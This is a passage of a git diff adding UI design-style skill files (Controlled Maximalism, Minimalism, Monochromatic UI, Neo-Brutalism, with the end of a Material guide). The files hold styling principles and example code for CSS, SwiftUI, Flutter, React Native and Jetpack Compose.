Modifier.padding(16.dp)) { + Text("Material Card", + style = MaterialTheme.typography.titleLarge) + Spacer(Modifier.height(8.dp)) + Text("Digital paper and ink.", + style = MaterialTheme.typography.bodyMedium) + Spacer(Modifier.height(16.dp)) + TextButton( + onClick = {}, + modifier = Modifier.align(Alignment.End), + ) { Text("ACTION") } + } + } + } + } + } +} +``` +- **Jetpack Compose is Material Design.** Use `MaterialTheme`, `Card`, `Scaffold`, `TopAppBar`, and `FloatingActionButton` as-is. +- Map the universal palette into `lightColorScheme()` or `darkColorScheme()`. +- Use `MaterialTheme.typography` for the complete type scale. +- Motion uses `animateFloatAsState` with Material easing: `FastOutSlowInEasing` (equivalent to `cubic-bezier(0.4, 0.0, 0.2, 1)`). + +## Do's and Don'ts +- **DO**: Use the standard Material easing curves for animations (`cubic-bezier(0.4, 0.0, 0.2, 1)`). +- **DON'T**: Mix overlapping shadows arbitrarily. Elements should clearly sit 'above' or 'below' others. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/maximalism/SKILL.md b/antigravity-awesome-skills/skills/design-it/maximalism/SKILL.md new file mode 100644 index 00000000..4afff8b6 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/maximalism/SKILL.md @@ -0,0 +1,297 @@ +--- +name: maximalism +description: Web and App implementation guide for Controlled Maximalism. Trigger when user wants lots of elements, dense content, but a highly curated and artistic presentation. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Controlled Maximalism + +> "Dense and rich, but deeply intentional. Like an exquisitely curated museum of artifacts." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **High Density**: The screen is packed with information, imagery, and interactive elements. +2. **Ornate Detailing**: Use of decorative borders, intricate textures, and classic design flourishes. +3. **Structured Chaos**: Unlike Vibrant Maximalism, the layout here is based on a strict underlying grid that holds the massive amount of content together. + +## Visual DNA +- **Colors**: **Monochromatic Brown**, **Yacht Club**, or rich jewel tones (emerald, ruby, sapphire, gold). +- **Typography**: Ornate serifs (like `Cinzel` or `Playfair Display`) paired with dense, highly legible sans-serif body copy. +- **Borders & Dividers**: Extensive use of thin, elegant lines separating every piece of content. + +## Web Implementation +- Use dense CSS Grid layouts. +- **CSS Example**: +```css +body { + background-color: #0F172A; /* Deep slate */ + color: #E2E8F0; + background-image: url('subtle-damask-pattern.png'); +} + +.max-grid { + display: grid; + grid-template-columns: repeat(6, 1fr); + gap: 16px; + padding: 16px; +} + +.max-item { + background-color: rgba(30, 41, 59, 0.9); /* Semi-transparent over pattern */ + border: 1px solid #475569; + padding: 24px; +} + +/* Ornate decorative borders */ +.max-feature { + grid-column: span 3; + border: 2px solid #D4AF37; /* Gold */ + position: relative; +} + +.max-feature::before { + content: ''; + position: absolute; + top: 4px; left: 4px; right: 4px; bottom: 4px; + border: 1px dashed #D4AF37; +} + +.max-title { + font-family: 'Cinzel', serif; + color: #D4AF37; + font-size: 2.5rem; + text-align: center; + border-bottom: 1px solid #475569; + padding-bottom: 16px; + margin-bottom: 16px; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct MaximalismView: View { + let columns = [ + GridItem(.flexible(), spacing: 4), + GridItem(.flexible(), spacing: 4), + GridItem(.flexible(), spacing: 4) + ] + + var body: some View { + ScrollView { + LazyVGrid(columns: columns, spacing: 4) { + // Feature span + MaxItem(title: "MUSEUM", isFeature: true) + // Dense data blocks + MaxItem(title: "1892") + MaxItem(title: "Vol. II") + MaxItem(title: "Arch") + MaxItem(title: "Index") + } + .padding(16) + } + .background(Color(hex: "0F172A")) // Deep slate + } +} + +struct MaxItem: View { + let title: String + var isFeature: Bool = false + + var body: some View { + VStack { + Text(title) + .font(.custom("Cinzel", size: isFeature ? 28 : 14)) + .foregroundColor(Color(hex: "D4AF37")) // Gold + .padding() + } + .frame(maxWidth: .infinity, minHeight: isFeature ? 150 : 80) + .background(Color(hex: "1E293B").opacity(0.9)) + .border(Color(hex: "475569"), width: 1) + .overlay( + // Ornate internal dashed border for the feature item + Group { + if isFeature { + Rectangle() + .stroke(style: StrokeStyle(lineWidth: 1, dash: [4])) + .foregroundColor(Color(hex: "D4AF37")) + .padding(4) + } + } + ) + } +} +``` +- A `LazyVGrid` with very tight `spacing` (e.g., `4`) creates the necessary density. +- Extensive use of `.border` and `.overlay(Rectangle().stroke(...))` to box in every piece of data, mimicking ornate framing. + +### Flutter +```dart +class MaximalismScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: const Color(0xFF0F172A), + body: GridView.count( + crossAxisCount: 3, + padding: const EdgeInsets.all(16), + mainAxisSpacing: 4, + crossAxisSpacing: 4, + children: [ + // Flutter's standard GridView doesn't span columns easily. + // In a real app, use the `flutter_staggered_grid_view` package. + _buildItem('1892'), + _buildItem('Vol. II'), + _buildItem('Arch'), + _buildItem('Index', isOrnate: true), + _buildItem('04'), + _buildItem('XII'), + ], + ), + ); + } + + Widget _buildItem(String title, {bool isOrnate = false}) { + return Container( + decoration: BoxDecoration( + color: const Color(0xFF1E293B).withOpacity(0.9), + border: Border.all(color: const Color(0xFF475569), width: 1), + ), + child: Stack( + children: [ + if (isOrnate) + Positioned.fill( + child: Padding( + padding: const EdgeInsets.all(4.0), + // Requires path_drawing or custom painter for dashed borders natively + child: Container( + decoration: BoxDecoration(border: Border.all(color: const Color(0xFFD4AF37), width: 1)), + ), + ), + ), + Center( + child: Text( + title, + style: const TextStyle(fontFamily: 'Cinzel', color: Color(0xFFD4AF37), fontSize: 16), + ), + ), + ], + ), + ); + } +} +``` +- Use `flutter_staggered_grid_view` to create the complex, spanning "masonry" or architectural grid layouts typical of maximalism. +- Use `Stack` with `Positioned.fill` and `Padding` to create double-bordered framing effects. + +### React Native +```jsx +const MaximalismScreen = () => { + return ( + + + + {/* Feature Item spanning full width */} + + + MUSEUM + + + + {/* Small Dense Items */} + 1892 + Vol. II + Arch + + + ); +}; + +const styles = StyleSheet.create({ + item: { + backgroundColor: 'rgba(30, 41, 59, 0.9)', + borderColor: '#475569', borderWidth: 1, + height: 100, justifyContent: 'center', alignItems: 'center' + }, + featureItem: { + width: '100%', height: 200, padding: 4, + }, + ornateInnerBorder: { + flex: 1, width: '100%', + borderColor: '#D4AF37', borderWidth: 1, borderStyle: 'dashed', + justifyContent: 'center', alignItems: 'center' + }, + text: { + fontFamily: 'Cinzel-Regular', color: '#D4AF37', fontSize: 16 + } +}); +``` +- A `flexWrap: 'wrap'` container with percentage widths (e.g., `32%` for 3 columns) is the easiest way to build complex, dense grids in React Native. +- Use `borderStyle: 'dashed'` combined with a solid outer border to create ornate framing. + +### Jetpack Compose +```kotlin +@Composable +fun MaximalismScreen() { + LazyVerticalGrid( + columns = GridCells.Fixed(3), + modifier = Modifier.fillMaxSize().background(Color(0xFF0F172A)).padding(16.dp), + horizontalArrangement = Arrangement.spacedBy(4.dp), + verticalArrangement = Arrangement.spacedBy(4.dp) + ) { + // Feature spanning all 3 columns + item(span = { GridItemSpan(3) }) { + MaxItem("MUSEUM", isFeature = true) + } + // Dense items + items(6) { index -> + MaxItem("Item $index") + } + } +} + +@Composable +fun MaxItem(title: String, isFeature: Boolean = false) { + Box( + modifier = Modifier + .height(if (isFeature) 200.dp else 100.dp) + .background(Color(0xFF1E293B).copy(alpha = 0.9f)) + .border(1.dp, Color(0xFF475569)) + .padding(4.dp), + contentAlignment = Alignment.Center + ) { + if (isFeature) { + // Ornate inner border + Box( + modifier = Modifier + .fillMaxSize() + .border(1.dp, Color(0xFFD4AF37), shape = RoundedCornerShape(0.dp)) + // Note: Dashed borders require a custom drawBehind modifier in Compose + ) + } + Text( + text = title, + color = Color(0xFFD4AF37), + fontFamily = FontFamily.Serif, // Replace with custom Cinzel font + fontSize = if (isFeature) 32.sp else 16.sp + ) + } +} +``` +- `LazyVerticalGrid` with `GridCells.Fixed(3)` is perfect. +- Use `GridItemSpan(3)` for the hero elements to make them span the full width, mimicking editorial or museum layouts. + +## Do's and Don'ts +- **DO**: Treat every pixel as valuable real estate. Frame everything. +- **DON'T**: Let it become unreadable. The contrast between text and background must remain high despite the density. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/minimalism/SKILL.md b/antigravity-awesome-skills/skills/design-it/minimalism/SKILL.md new file mode 100644 index 00000000..172c6d21 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/minimalism/SKILL.md @@ -0,0 +1,267 @@ +--- +name: minimalism +description: Web and App implementation guide for the Minimalism design style. Trigger when the user wants simple layouts, lots of whitespace, few colors, and clear hierarchy. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Minimalism + +> "Less is more. Remove until nothing is left but the essential." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Extreme Whitespace**: Margins and padding should be double what you initially think is appropriate. +2. **Strict Typography**: Rely on font weights and sizes to establish hierarchy, not colors or boxes. +3. **Absence of Decor**: No borders, no drop shadows, no background textures. + +## Visual DNA +- **Colors**: Best paired with **Minimalist Slate** or **Modern Editorial** palettes. Backgrounds must be absolute (pure or off-white/black). +- **Typography**: Sans-serif, geometric. (e.g., `Inter`, `Helvetica Neue`, `SF Pro`). Use extreme contrast in weights (Thin vs Black). +- **Spacing**: Use a generous baseline grid (e.g., multiples of 8px, heavily favoring 48px to 120px padding). + +## Web Implementation +- Use Flexbox/Grid with large `gap` properties. +- **CSS Example**: +```css +.minimal-container { + max-width: 800px; + margin: 0 auto; + padding: 120px 24px; + background-color: var(--bg-primary); +} +.minimal-title { + font-size: 3rem; + font-weight: 300; + letter-spacing: -0.02em; + margin-bottom: 48px; +} +.minimal-btn { + background: transparent; + border: 1px solid var(--text-primary); + padding: 16px 32px; + text-transform: uppercase; + letter-spacing: 0.1em; + transition: all 0.3s ease; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct MinimalView: View { + var body: some View { + ScrollView { + VStack(alignment: .leading, spacing: 48) { + Text("Headline") + .font(.system(size: 34, weight: .light)) + .tracking(-0.5) + + Text("Body text sits quietly with generous space around it. Let the content breathe.") + .font(.system(size: 17, weight: .regular)) + .foregroundColor(.secondary) + .lineSpacing(6) + + // Minimal button — just a thin border, no fill + Button(action: {}) { + Text("Continue") + .font(.system(size: 14, weight: .medium)) + .tracking(1.5) + .textCase(.uppercase) + .padding(.horizontal, 32) + .padding(.vertical, 16) + .overlay( + RoundedRectangle(cornerRadius: 0) + .stroke(Color.primary, lineWidth: 1) + ) + } + } + .padding(.horizontal, 24) + .padding(.vertical, 80) + } + .background(Color(.systemBackground)) + } +} +``` +- Use `VStack(spacing: 40...64)` for generous separation between elements. +- Never use `.shadow()` or `Card`-like containers. Let whitespace define grouping. +- Use `Divider()` sparingly — only when two adjacent sections need separation. + +### Flutter +```dart +class MinimalScreen extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: Colors.white, + body: SingleChildScrollView( + padding: const EdgeInsets.symmetric(horizontal: 24, vertical: 80), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Text( + 'Headline', + style: TextStyle( + fontSize: 34, + fontWeight: FontWeight.w300, + letterSpacing: -0.5, + color: Colors.black87, + ), + ), + const SizedBox(height: 48), + Text( + 'Body text sits quietly with generous space around it.', + style: TextStyle( + fontSize: 17, + fontWeight: FontWeight.w400, + height: 1.6, + color: Colors.black54, + ), + ), + const SizedBox(height: 48), + // Minimal button — outlined, no elevation + OutlinedButton( + onPressed: () {}, + style: OutlinedButton.styleFrom( + side: const BorderSide(color: Colors.black87, width: 1), + shape: const RoundedRectangleBorder(borderRadius: BorderRadius.zero), + padding: const EdgeInsets.symmetric(horizontal: 32, vertical: 16), + ), + child: Text( + 'CONTINUE', + style: TextStyle( + fontSize: 14, + fontWeight: FontWeight.w500, + letterSpacing: 1.5, + color: Colors.black87, + ), + ), + ), + ], + ), + ), + ); + } +} +``` +- Set `elevation: 0` on **all** Material widgets (`AppBar`, `Card`, `FloatingActionButton`). +- Use `SizedBox(height: 48)` or larger for vertical spacing. Avoid tight layouts. +- Override `ThemeData` to remove all default shadows: `cardTheme: CardTheme(elevation: 0)`. + +### React Native +```jsx +const MinimalScreen = () => ( + + + Headline + + + + Body text sits quietly with generous space around it. + + + + + Continue + + + +); +``` +- Use `paddingVertical: 80` for screen-level spacing. Double what feels natural. +- Avoid all `elevation` and `shadowColor` properties. No `borderRadius` on cards. +- If using a UI library (e.g., React Native Paper), strip default elevations. + +### Jetpack Compose +```kotlin +@Composable +fun MinimalScreen() { + Column( + modifier = Modifier + .fillMaxSize() + .background(Color.White) + .verticalScroll(rememberScrollState()) + .padding(horizontal = 24.dp, vertical = 80.dp) + ) { + Text( + text = "Headline", + fontSize = 34.sp, + fontWeight = FontWeight.Light, + letterSpacing = (-0.5).sp, + color = Color(0xFF1A1A1A), + ) + Spacer(modifier = Modifier.height(48.dp)) + Text( + text = "Body text sits quietly with generous space around it.", + fontSize = 17.sp, + fontWeight = FontWeight.Normal, + lineHeight = 28.sp, + color = Color(0xFF666666), + ) + Spacer(modifier = Modifier.height(48.dp)) + // Minimal outlined button + OutlinedButton( + onClick = {}, + shape = RectangleShape, + border = BorderStroke(1.dp, Color(0xFF1A1A1A)), + colors = ButtonDefaults.outlinedButtonColors(containerColor = Color.Transparent), + contentPadding = PaddingValues(horizontal = 32.dp, vertical = 16.dp), + ) { + Text( + text = "CONTINUE", + fontSize = 14.sp, + fontWeight = FontWeight.Medium, + letterSpacing = 1.5.sp, + color = Color(0xFF1A1A1A), + ) + } + } +} +``` +- Set `elevation = 0.dp` on all `Card`, `TopAppBar`, and `FloatingActionButton` composables. +- Use `Spacer(modifier = Modifier.height(48.dp))` consistently for generous vertical gaps. +- Override `MaterialTheme` shape and shadow defaults to remove all depth cues. + +## Do's and Don'ts +- **DO**: Focus intensely on alignment. A 1px misalignment breaks the illusion of minimalism. +- **DON'T**: Use "card" wrappers for content. Let the whitespace define the grouping. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/monochromatic-ui/SKILL.md b/antigravity-awesome-skills/skills/design-it/monochromatic-ui/SKILL.md new file mode 100644 index 00000000..6bace448 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/monochromatic-ui/SKILL.md @@ -0,0 +1,296 @@ +--- +name: monochromatic-ui +description: Web and App implementation guide for Monochromatic UI. Trigger when user wants a single-color palette, high elegance, and strict color discipline. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Monochromatic UI + +> "Elegance through constraint. A single hue, explored through all its tints, tones, and shades." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Single Hue**: Choose one base color (e.g., deep blue). The entire UI is built using lighter (tints) and darker (shades) versions of that exact hue. +2. **High Contrast for Legibility**: The darkest shade and the lightest tint must have enough contrast to pass accessibility standards when placed together. +3. **Texture over Color**: Since color is restricted, use subtle textures, patterns, or varying opacities to differentiate sections. + +## Visual DNA +- **Colors**: **Monochromatic Brown** or pick one dominant hue from **Earth-Grounded Elegance** and extrapolate it. +- **Typography**: Clean and unobtrusive. The layout relies heavily on font weights to establish hierarchy since color cannot. +- **Shadows**: Shadows must be tinted with the base hue, never pure black. + +## Web Implementation +- Use HSL (Hue, Saturation, Lightness) heavily in CSS to make building the palette easy. +- **CSS Example**: +```css +:root { + /* Base Hue: Deep Blue (210) */ + --mono-900: hsl(210, 80%, 10%); /* Very dark */ + --mono-700: hsl(210, 70%, 30%); /* Dark */ + --mono-500: hsl(210, 60%, 50%); /* Base */ + --mono-300: hsl(210, 50%, 80%); /* Light */ + --mono-100: hsl(210, 40%, 95%); /* Very light background */ +} + +body { + background-color: var(--mono-100); + color: var(--mono-900); + font-family: 'Inter', sans-serif; +} + +.mono-card { + background-color: #ffffff; /* Or mono-100 */ + border: 1px solid var(--mono-300); + border-radius: 8px; + padding: 32px; + /* Tinted shadow */ + box-shadow: 0 10px 25px hsla(210, 80%, 10%, 0.05); +} + +.mono-btn { + background-color: var(--mono-500); + color: #ffffff; + border: none; + border-radius: 4px; + padding: 12px 24px; + transition: background-color 0.2s; +} + +.mono-btn:hover { + background-color: var(--mono-700); +} + +.mono-subtext { + color: var(--mono-500); /* Use mid-tones for secondary text */ + font-weight: 500; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct MonochromaticView: View { + // Base Hue: Deep Blue (210 in 360-degree HSB/HSL) + // In SwiftUI, hue is 0.0 to 1.0 (210/360 = 0.58) + let mono900 = Color(hue: 0.58, saturation: 0.80, brightness: 0.10) + let mono700 = Color(hue: 0.58, saturation: 0.70, brightness: 0.30) + let mono500 = Color(hue: 0.58, saturation: 0.60, brightness: 0.50) + let mono300 = Color(hue: 0.58, saturation: 0.50, brightness: 0.80) + let mono100 = Color(hue: 0.58, saturation: 0.40, brightness: 0.95) + + var body: some View { + VStack(spacing: 24) { + // Card + VStack(alignment: .leading, spacing: 12) { + Text("Monochromatic Elegance") + .font(.title2).fontWeight(.semibold) + .foregroundColor(mono900) + + Text("Using only variations in saturation and brightness of a single hue.") + .foregroundColor(mono500) + } + .padding(32) + .background(Color.white) + .border(mono300, width: 1) + .shadow(color: mono900.opacity(0.1), radius: 15, y: 5) // Tinted shadow + + // Button + Button(action: {}) { + Text("Primary Action") + .fontWeight(.bold) + .foregroundColor(.white) + .frame(maxWidth: .infinity) + .padding() + .background(mono500) + .cornerRadius(8) + } + } + .padding() + .frame(maxWidth: .infinity, maxHeight: .infinity) + .background(mono100) + } +} +``` +- Define your colors using `Color(hue: saturation: brightness:)`. This ensures math-perfect monochromatic harmony. +- *Always* tint your drop shadows with your `mono900` color. Pure black shadows look dirty in a strict monochromatic UI. + +### Flutter +```dart +class MonochromaticScreen extends StatelessWidget { + // Base Hue: Deep Blue (210) + // Flutter HSVColor uses Hue 0-360, Saturation 0.0-1.0, Value 0.0-1.0 + final Color mono900 = const HSVColor.fromAHSV(1.0, 210, 0.80, 0.10).toColor(); + final Color mono500 = const HSVColor.fromAHSV(1.0, 210, 0.60, 0.50).toColor(); + final Color mono300 = const HSVColor.fromAHSV(1.0, 210, 0.50, 0.80).toColor(); + final Color mono100 = const HSVColor.fromAHSV(1.0, 210, 0.40, 0.95).toColor(); + + @override + Widget build(BuildContext context) { + return Scaffold( + backgroundColor: mono100, + body: Center( + child: Padding( + padding: const EdgeInsets.all(24.0), + child: Column( + mainAxisAlignment: MainAxisAlignment.center, + children: [ + // Card + Container( + width: double.infinity, + padding: const EdgeInsets.all(32), + decoration: BoxDecoration( + color: Colors.white, + border: Border.all(color: mono300), + borderRadius: BorderRadius.circular(8), + boxShadow: [ + BoxShadow(color: mono900.withOpacity(0.1), blurRadius: 15, offset: const Offset(0, 5)) + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + Text('Monochromatic', style: TextStyle(fontSize: 24, fontWeight: FontWeight.w600, color: mono900)), + const SizedBox(height: 12), + Text('Variations of a single hue.', style: TextStyle(fontSize: 16, color: mono500)), + ], + ), + ), + const SizedBox(height: 24), + // Button + ElevatedButton( + onPressed: () {}, + style: ElevatedButton.styleFrom( + backgroundColor: mono500, + foregroundColor: Colors.white, + minimumSize: const Size(double.infinity, 56), + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(8)), + elevation: 0, + ), + child: const Text('Primary Action', style: TextStyle(fontWeight: FontWeight.bold)), + ), + ], + ), + ), + ), + ); + } +} +``` +- Flutter's `HSVColor.fromAHSV()` is the best way to explicitly code a monochromatic palette without guessing hex codes. + +### React Native +```jsx +// Base Hue: Deep Blue (210) +const theme = { + mono900: 'hsl(210, 80%, 10%)', + mono700: 'hsl(210, 70%, 30%)', + mono500: 'hsl(210, 60%, 50%)', + mono300: 'hsl(210, 50%, 80%)', + mono100: 'hsl(210, 40%, 95%)', +}; + +const MonochromaticScreen = () => { + return ( + + + + + Monochromatic + + + Using HSL strings in React Native makes palette generation trivial. + + + + + + Primary Action + + + + + ); +}; +``` +- React Native's StyleSheet accepts CSS `hsl()` strings natively. Use them! It makes debugging and tweaking a monochromatic palette a million times easier than using hex codes. + +### Jetpack Compose +```kotlin +@Composable +fun MonochromaticScreen() { + // Base Hue: Deep Blue (210) + // Compose Color.hsv requires Hue 0-360f, Saturation 0-1f, Value 0-1f + val mono900 = Color.hsv(210f, 0.80f, 0.10f) + val mono500 = Color.hsv(210f, 0.60f, 0.50f) + val mono300 = Color.hsv(210f, 0.50f, 0.80f) + val mono100 = Color.hsv(210f, 0.40f, 0.95f) + + Column( + modifier = Modifier + .fillMaxSize() + .background(mono100) + .padding(24.dp), + verticalArrangement = Arrangement.Center + ) { + // Card + Box( + modifier = Modifier + .fillMaxWidth() + .shadow(15.dp, RoundedCornerShape(8.dp), spotColor = mono900.copy(alpha = 0.2f)) + .background(Color.White, RoundedCornerShape(8.dp)) + .border(1.dp, mono300, RoundedCornerShape(8.dp)) + .padding(32.dp) + ) { + Column { + Text("Monochromatic", fontSize = 24.sp, fontWeight = FontWeight.SemiBold, color = mono900) + Spacer(Modifier.height(12.dp)) + Text("Strictly enforced hue discipline.", color = mono500) + } + } + + Spacer(Modifier.height(24.dp)) + + // Button + Button( + onClick = { }, + colors = ButtonDefaults.buttonColors(containerColor = mono500, contentColor = Color.White), + shape = RoundedCornerShape(8.dp), + modifier = Modifier.fillMaxWidth().height(56.dp) + ) { + Text("Primary Action", fontWeight = FontWeight.Bold) + } + } +} +``` +- Use `Color.hsv()` to define the palette. +- Set the `spotColor` in your `Modifier.shadow` to `mono900` to keep the shadows from looking muddy or disjointed from the design system. + +## Do's and Don'ts +- **DO**: Use pure white or pure black as absolute extremes if needed for text legibility. +- **DON'T**: Sneak in an accent color. If you add a red error button to a blue monochromatic UI, it immediately breaks the aesthetic and becomes "duotone" or standard UI. Find a way to signify errors using bold text or dark shades of the base hue. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/skills/design-it/neo-brutalism/SKILL.md b/antigravity-awesome-skills/skills/design-it/neo-brutalism/SKILL.md new file mode 100644 index 00000000..e922ef88 --- /dev/null +++ b/antigravity-awesome-skills/skills/design-it/neo-brutalism/SKILL.md @@ -0,0 +1,270 @@ +--- +name: neo-brutalism +description: Web and App implementation guide for Neo-Brutalism. Trigger when user wants thick borders, hard shadows, bright colors, and a playful yet structured look. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Neo-Brutalism + +> "Brutalism, but make it pop. Hard lines, stark shadows, and vibrant, unashamed colors." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Hard Drop Shadows**: Solid black shadows with no blur. Usually offset by a few pixels down and to the right. +2. **Thick Outlines**: Everything has a heavy, solid black border (usually 2px-4px). +3. **Flat, High-Contrast Colors**: Bright, saturated pastels or primary colors contrasting against pure white or black. + +## Visual DNA +- **Colors**: Start with an off-white background (like `#FDF8F5`), add stark black borders `#000000`, and use saturated accents like lemon yellow, bright cyan, or coral. +- **Typography**: Very bold, geometric sans-serifs (e.g., `Space Grotesk`, `Archivo Black`, `Inter Black`). +- **Shapes**: Sharp rectangles or completely rounded pill shapes, but always with a heavy stroke. + +## Web Implementation +- The defining feature is the `box-shadow` with `0` blur. +- **CSS Example**: +```css +:root { + --neo-border: 3px solid #000000; + --neo-shadow: 6px 6px 0px #000000; + --neo-bg: #F4F4F0; + --neo-accent: #FF3366; +} + +body { + background-color: var(--neo-bg); + font-family: 'Space Grotesk', sans-serif; +} + +.neo-card { + background-color: #ffffff; + border: var(--neo-border); + box-shadow: var(--neo-shadow); + border-radius: 8px; /* Optional, sharp is fine too */ + padding: 32px; + transition: transform 0.1s, box-shadow 0.1s; +} + +.neo-btn { + background-color: var(--neo-accent); + color: #000; + font-weight: 800; + text-transform: uppercase; + border: var(--neo-border); + box-shadow: 4px 4px 0px #000000; + padding: 16px 32px; + cursor: pointer; + transition: all 0.1s ease; +} + +.neo-btn:active { + /* The "press" effect is removing the shadow and moving it down */ + transform: translate(4px, 4px); + box-shadow: 0px 0px 0px #000000; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct NeoCard: View { + @State private var isPressed = false + let neoBorder: CGFloat = 3 + let neoShadow: CGFloat = 6 + + var body: some View { + Button(action: {}) { + VStack(alignment: .leading, spacing: 16) { + Text("NEO-BRUTALISM") + .font(.system(size: 24, weight: .black, design: .default)) + .foregroundColor(.black) + Text("Stark shadows, bright colors.") + .font(.system(size: 16, weight: .bold)) + .foregroundColor(.black) + } + .padding(24) + .frame(maxWidth: .infinity, alignment: .leading) + .background(Color(red: 1.0, green: 0.2, blue: 0.4)) // Bright Coral + // Neo-brutalist solid outline + .overlay( + Rectangle() + .stroke(Color.black, lineWidth: neoBorder) + ) + } + .buttonStyle(.plain) + // Hard drop shadow (0 blur) + .shadow(color: .black, radius: 0, x: isPressed ? 0 : neoShadow, y: isPressed ? 0 : neoShadow) + // Translate the button physically when pressed to cover the shadow + .offset(x: isPressed ? neoShadow : 0, y: isPressed ? neoShadow : 0) + .simultaneousGesture( + DragGesture(minimumDistance: 0) + .onChanged { _ in isPressed = true } + .onEnded { _ in isPressed = false } + ) + // Instant pop, no smooth animation + .animation(.none, value: isPressed) + } +} +``` +- `.shadow(radius: 0)` is the secret. Set an offset (e.g. `x: 6, y: 6`). +- For interactions, remove the shadow and translate the element by the same offset amounts using `.offset()`. +- Ensure `.animation(.none)` — Neo-brutalism interactions should be instant, snapping like physical switches. + +### Flutter +```dart +class NeoCard extends StatefulWidget { + @override + State createState() => _NeoCardState(); +} + +class _NeoCardState extends State { + bool _isPressed = false; + final double neoOffset = 6.0; + + @override + Widget build(BuildContext context) { + return GestureDetector( + onTapDown: (_) => setState(() => _isPressed = true), + onTapUp: (_) => setState(() => _isPressed = false), + onTapCancel: () => setState(() => _isPressed = false), + child: Transform.translate( + // Move the container when pressed + offset: Offset(_isPressed ? neoOffset : 0, _isPressed ? neoOffset : 0), + child: Container( + padding: const EdgeInsets.all(24), + decoration: BoxDecoration( + color: const Color(0xFFFF3366), // Bright coral + border: Border.all(color: Colors.black, width: 3), + // Sharp shadow disappears on press + boxShadow: _isPressed ? [] : [ + BoxShadow( + color: Colors.black, + blurRadius: 0, // Critical: 0 blur + spreadRadius: 0, + offset: Offset(neoOffset, neoOffset), + ), + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + mainAxisSize: MainAxisSize.min, + children: const [ + Text('NEO-BRUTALISM', + style: TextStyle(fontSize: 24, fontWeight: FontWeight.w900, color: Colors.black)), + SizedBox(height: 16), + Text('Stark shadows, bright colors.', + style: TextStyle(fontSize: 16, fontWeight: FontWeight.bold, color: Colors.black)), + ], + ), + ), + ), + ); + } +} +``` +- `blurRadius: 0` inside `BoxShadow` creates the solid block color. +- Remove the shadow array entirely when `_isPressed` is true, and simultaneously use `Transform.translate` to shift the widget down-right. + +### React Native +```jsx +const NeoCard = () => { + const [pressed, setPressed] = useState(false); + const offset = 6; + + return ( + setPressed(true)} + onPressOut={() => setPressed(false)} + style={{ + backgroundColor: '#FF3366', + padding: 24, + borderWidth: 3, + borderColor: '#000', + transform: [ + { translateX: pressed ? offset : 0 }, + { translateY: pressed ? offset : 0 } + ], + // iOS Hard Shadow + shadowColor: '#000', + shadowOffset: { width: pressed ? 0 : offset, height: pressed ? 0 : offset }, + shadowOpacity: pressed ? 0 : 1, + shadowRadius: 0, + // Android elevation cannot do 0-blur offset shadows natively + // elevation: 0 + }} + > + + NEO-BRUTALISM + + + ); +}; +``` +- **Android Limitation**: Standard `elevation` CANNOT create an unblurred, offset drop shadow. +- **Solution**: To make this work on Android, you MUST use the `react-native-drop-shadow` library or fake it by rendering an identical black `` absolutely positioned directly behind the main card. + +### Jetpack Compose +```kotlin +@Composable +fun NeoCard() { + var isPressed by remember { mutableStateOf(false) } + val neoOffset = 6.dp + + // Compose Modifier.shadow() always blurs. + // To get a solid hard shadow, we use Modifier.drawBehind. + Box( + modifier = Modifier + .padding(16.dp) + .offset( + x = if (isPressed) neoOffset else 0.dp, + y = if (isPressed) neoOffset else 0.dp + ) + .drawBehind { + if (!isPressed) { + drawRect( + color = Color.Black, + topLeft = Offset(neoOffset.toPx(), neoOffset.toPx()), + size = size + ) + } + } + .background(Color(0xFFFF3366)) + .border(3.dp, Color.Black) + .pointerInput(Unit) { + detectTapGestures( + onPress = { + isPressed = true + tryAwaitRelease() + isPressed = false + } + ) + } + .padding(24.dp) + ) { + Column { + Text("NEO-BRUTALISM", + fontSize = 24.sp, fontWeight = FontWeight.Black, color = Color.Black) + Spacer(Modifier.height(16.dp)) + Text("Stark shadows, bright colors.", + fontSize = 16.sp, fontWeight = FontWeight.Bold, color = Color.Black) + } + } +} +``` +- **Compose Limitation**: Native `Modifier.shadow()` applies ambient blur which breaks the neo-brutalist aesthetic. +- Use `Modifier.drawBehind { drawRect(...) }` with an offset to manually draw the solid shadow block behind the container. +- Shift the container using `Modifier.offset` on press, while hiding the shadow layer. + +## Do's and Don'ts +- **DO**: Make the active/pressed state visually translate the button to cover its shadow, creating a physical 